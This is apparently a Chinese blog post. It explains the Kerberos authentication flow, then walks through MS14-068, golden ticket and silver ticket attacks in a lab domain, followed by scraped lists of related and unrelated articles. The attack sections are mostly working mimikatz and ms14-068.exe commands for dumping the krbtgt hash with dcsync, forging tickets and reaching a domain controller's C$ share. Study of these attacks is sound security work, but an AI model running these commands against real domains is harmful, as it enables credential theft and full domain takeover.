Kerberos协议工作原理分析

这里面借用一下师傅们的图来说明一下
 

Kerberos协议的流程大致如下(假设A要获取对Server B的访问权限)

  • 第一步(KRB_AS_REQ)
这一步客户端A向AS发送认证请求,发送经自身密码hash(域用户密码)加密的时间戳(域认证很多都用到时间戳,一是避免了时间过长而造成的暴力攻击,并且正好将时间戳作为认证点)
  • 第二步(KRB_AS_REP)
AS收到了客户端发送的认证请求,于是从本地数据库中拿到客户端A的密码哈希解密出时间戳,若时间戳认证成功后生成SessionKey(A-KDC,第一个SessionKey),并且向客户端发送两个东西

加密后的SessionKey(A-KDC)(经客户端A的密码加密后)  //密文1

将SessionKey(A-KDC)与时间戳标志(控制该SessionKey的有效时间)通过KDC的密码加密的密文发送过去(称为TGT)  //密文2
  • 第三步(KRB_TGS_REQ)
客户端接受到上文的密文1并解密获得SessionKey(A-KDC),但是密文2无法解密,因为是利用的KDC的密码Hash来进行的加密

获取到SessionKey(A-KDC)后,向TGS发送两样东西:

经过SessionKey(A-KDC)加密后的时间戳(认证利用的是时间戳)  //密文1

还有TGT(解密不了只能发送了)    //密文2

以上用来申请与Server B沟通的SessionKey(A-B),第二个SessionKey
  • 第四步(KRB_TGS_REP)
TGS获取到TGT后,解密TGT得到SessionKey(A-KDC),之后再利用SessionKey解密密文1,得到时间戳,如果验证成功后生成SessionKey(A-B),这个时候想客户端发送两样东西

经SessionKey(A-KDC)加密后的SessionKey(A-B)  //密文1

经Server B的密码加密过得SessionKey(A-B)(称为Serve Ticket)   //密文2
  • 第五步(KRB_AP_REQ)
客户端接收到发送的密文后,解密密文1,获取到SessionKey(A-B)
只有想Server B发送两样东西 经SessionKey(A-B)加密后的时间戳 //密文1 Server Ticket(即第四步TGS发送给客户端A的密文2) //密文2
  • 第六步(KRB_AP_REP)
解密发送过来的密文2,得到SessionKey(A-B),再利用SessionKey(A-B)解密密文1获取到时间戳,认证成功后,客户端A就可访问Server的服务

上面就是Kerbreos协议的简单过程

MS14-068的利用

利用前提

得到一个域内主机,并且知道与用户的明文密码
域主机没有打补丁(KB3011780)

漏洞原理

微软对PAC(特权属性证书)校验不严格导致任意域用户可以提升为域管理员

原理的话我有点菜没看太懂

利用过程

首先得到该用户的SID

whoami /user

利用工具生成票据

ms14-068.exe -u win7@MIKASA.com -s sid -d WIN-Q1E9PO4969I.mikasa.com

-u 域用户名@域名 -s 域用户SID名 -d 域控主机名

之后输入域用户的明文密码就生成了票据

提升权限

klist purge   //清除原来的票据,留下一个干净的空间

mimikatz.exe "kerberos::ptc 票据的路径" "exit"

只有可以使用 net use \\域控名\C$尝试访问域控

成功Get!

黄金票据

利用前提

拿到域控(没错就是拿到域控QAQ),适合做权限维持
有krbtgt用户的hash值(aeshash ntlmhash等都可以,后面指定一下算法就行了)

漏洞原理

自己伪造TGT,忽略过前两部KRB_AS_REQ、KRB_AS_REP,其实说KDC的密码就是krbtgt用户的密码。
在认证过程中所有的KDC密码都代表的是krbtgt的密码。
仔细观察第三步发现,TGS获取的TGT是利用krbtgt的密码解密的,这就意味着我们,可以直接忽略掉前两步直接伪造TGT(前提我们加密需要krbtgt的密码)向TGS发送认证请求(并且可以伪造成任意用户,因为TGT可控,那么PAC也是可控的)

利用过程

登录域控抓取krbtgt的密码Hash和获取域SID

mimikatz.exe log "lsadump::dcsync /domain:test.local /user:krbtgt"

获取到NTLMhash:c06e999c1a956bf99502142582e1b495
sid:S-1-5-21-3006648259-3336348783-1992286540

一次性利用mimikatz并且直接注入凭据

mimikatz.exe "kerberos::golden /user:administrator /domain:MIKASA.com /sid:S-1-5-21-3006648259-3336348783-1992286540 /krbtgt:c06e999c1a956bf99502142582e1b495 /ptt" exit

分步利用

kerberos::golden /user:administrator /domain:MIKASA.com /sid:S-1-5-21-3006648259-3336348783-1992286540 /krbtgt:c06e999c1a956bf99502142582e1b495 /ticket:test.kirbi

kerberos::ptt test.kirbi

一次性利用那个没有实验成功(不知道怎么回事)
参数详解

kerberos::golden  //创建黄金票据
user:administrator //伪造用户
domain:MIKASA.com //指定域名
sid:xxx //域的SID
krbtgt:hash //导出的krbtgt用户的Hash
ptt //将注入的票据注入到内存中以供使用

之后可以使用IPC$或者PsExec等建立连接了

白银票据

利用前提

拿到目标机器hash(是目标机,不一定是域控,因为这里面我们做实验用的是域控,所以才使用域控(目标机)的Hash)

漏洞原理

在第五步中,Server B确认客户端A是通过解密ticket来确认SessionKey(A-B)认证的。
但是ticket是TGS发送的,需要Server B用机器Hash解密。
假设我们知道了机器的Hash是不是也可以跟黄金票据一样伪造TGT一样来获取访问权限呢?
当然假设我们知道了机器的Hash以及ticket票据的构造,那么我们也可以自己伪造一个!!

局限性

因为需要目标机器的Hash,并且也不是通过伪造TGT申请的,因此只能针对对应服务伪造票据(黄金票据直接伪造的是TGT,而白金票据伪造的是TGS发送的票据,也就是说是单向车程)

漏洞利用

去域控下整下机器的hash值(我这里面为了访问域控,所以是域控的Hash值,若是访问其他的,则需要获取对应的机器Hash,第四步里面讲的很清楚了)

kerberos::golden /domain:MIKASA.com /sid:S-1-5-21-3006648259-3336348783-1992286540  /target:WIN-Q1E9PO4969I.MIKASA.com /rc4:9f26d10e5bbcb5b891fc6ca79e53a033  /service:cifs /user:yifan /ptt

//用户名随意填写,第6步没有验证用户名

dir \\WIN-Q1E9PO4969I\C$

实验了一下发现dir \\WIN-Q1E9PO4969I.MIKASA.com\c$不行,难道是服务不同吗?有知道的大佬请Call我
 
可以伪造的服务如下
 

参考资料

https://www.bilibili.com/video/av51717543

http://xnianq.cn/2018/10/16/%E5%9F%9F%E6%B8%97%E9%80%8F%E4%B9%8B%E6%A8%AA%E5%90%91%E7%A7%BB%E5%8A%A8/

https://www.freebuf.com/vuls/56081.html

联系方式:1941748801

关于Kerberos协议流程的总结的更多相关文章

  1. Kerberos认证流程详解

    Kerberos是诞生于上个世纪90年代的计算机认证协议,被广泛应用于各大操作系统和Hadoop生态系统中.了解Kerberos认证的流程将有助于解决Hadoop集群中的安全配置过程中的问题.为此,本 ...

  2. kerberos协议介绍

    一.kerberos认证过程: client向kerberos服务请求,希望获取访问server的权限.kerberos得到了这个消息,首先得判断client是否是可信赖的,也就是白名单黑名单的说法. ...

  3. Kerberos认证流程简述

    摸鱼了很长一段时间,被大佬按在地上摩擦,一时间精神恍惚想不起来写点啥,正好回来碰巧给别人讲kerberos协议认证流程,结果讲来讲去把自己讲晕了,就非常尴尬 于是有了这篇文章(友情提示:无事莫装X,装 ...

  4. SSO的全方位解决方案 - Kerberos协议(RFC 1510)

    一.桌面SSO和WEB-SSO的局限性 前面我们的解决方案(桌面SSO和WEB-SSO)都有一个共性:要想将一个应用集成到我们的SSO解决方案中,或多或少的需要修改应用程序. Web应用需要配置一个我 ...

  5. Kerberos协议

    Kerberos协议主要用于计算机网络的身份鉴别 (authentication),其特点是用户只需输入一次身份验证信息就可以凭借此验证获得票据(ticket-granting-ticket)访问多个 ...

  6. 内网学习之Kerberos协议

    学习了解kerberos协议,有助于我们后期理解黄金票据和白银票据的原理 kerberos协议 kerberos是一种由麻省理工大学提出的一种网络身份验证协议.旨在通过使用密钥加密技术为客户端/服务器 ...

  7. 挖坑:handoop2.6 开启kerberos(全流程学习记录)

    目录: 1.涉及插件简介 2.安装步骤 3.日志错误查看 1.kerberos是什么东西 度娘指导: Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为 客户机 / 服务器 应用程序提供 ...

  8. EasyRTMP实现的rtmp推流的基本协议流程

    EasyRTMP介绍 EasyRTMP是结合了多种音视频缓存及网络技术的一个rtmp直播推流端,包括:圆形缓冲区(circular buffer).智能丢帧.自动重连.rtmp协议等等多种技术,能够非 ...

  9. 浅尝 ECDHE 协议流程

    前言 ECDHE 我之前是听都没听过, 但是新业务需要对前后端通信进行加密, 经过大佬推荐才知道有这个东西, 经过几天的学习和踩坑, 才大致明白其流程和使用方式. 过程坎坷, 好在最后还是成功运用到了 ...

随机推荐

  1. 企业实践 | 如何更好地使用 Apache Flink 解决数据计算问题?

    业务数据的指数级扩张,数据处理的速度可不能跟不上业务发展的步伐.基于 Flink 的数据平台构建.运用 Flink 解决业务场景中的具体问题等随着 Flink 被更广泛的应用于广告.金融风控.实时 B ...

  2. php floor()函数 语法

    php floor()函数 语法 floor函数是什么意思? php floor()函数用来向下舍入为最接近的整数.语法是floor(number),表示返回不大于参数number的下一个整数,有小数 ...

  3. Qt的信号和槽机制

    一.信号和槽机制 信号和槽用于两个对象之间的通信,我们希望任何对象都可以和其他对象进行通信.     当一个特殊的事情发生时便可以发射一个信号,而槽就是一个函数,它在信号发射后被调用来相应这个信号.( ...

  4. 双目立体匹配经典算法之Semi-Global Matching(SGM)概述:匹配代价计算之互信息(Mutual Information,MI)

      半全局立体匹配算法Semi-Global Matching,SGM由学者Hirschmüller在2005年所提出1,提出的背景是一方面高效率的局部算法由于所基于的局部窗口视差相同的假设在很多情况 ...

  5. oracle 中和mysql的group_concat有同样作用的写法

    所有版本的oracle都可以使用select wm_concat(name) as name from user;但如果是oracle11g,使用select listagg(name, ',') w ...

  6. MySQL高级学习笔记(三):Mysql逻辑架构介绍、mysql存储引擎

    文章目录 Mysql逻辑架构介绍 总体概览 总体概览 mysql存储引擎 查看命令 看你的 mysql 现在已提供什么存储引擎 : 看你的 mysql 当前默认的存储引擎 : 各个引擎简介 MyISA ...

  7. HDU4578-Transformation-线段树的加、乘、变、次方操作

    Sample Input 5 5 3 3 5 7 1 2 4 4 4 1 5 2 2 2 5 8 4 3 5 3 0 0 Sample Output 307 7489 题意:给出n,m,表示该数有n个 ...

  8. mysql 个人博客应用的建表和相关查询

    一.建表 用户表tb_user create table if not exists tb_user( user_id int auto_increment, ) not null, user_pas ...

  9. js中函数的创建和调用都发生了什么?执行环境,函数作用域链,变量对象

    博客搬迁,给你带来的不便,敬请谅解! http://www.suanliutudousi.com/2017/11/26/js%E4%B8%AD%E5%87%BD%E6%95%B0%E7%9A%84%E ...

  10. tdom中selectNodes的使用

    tdom中selectNodes的使用 */--> pre.src {background-color: #002b36; color: #839496;} pre.src {backgroun ...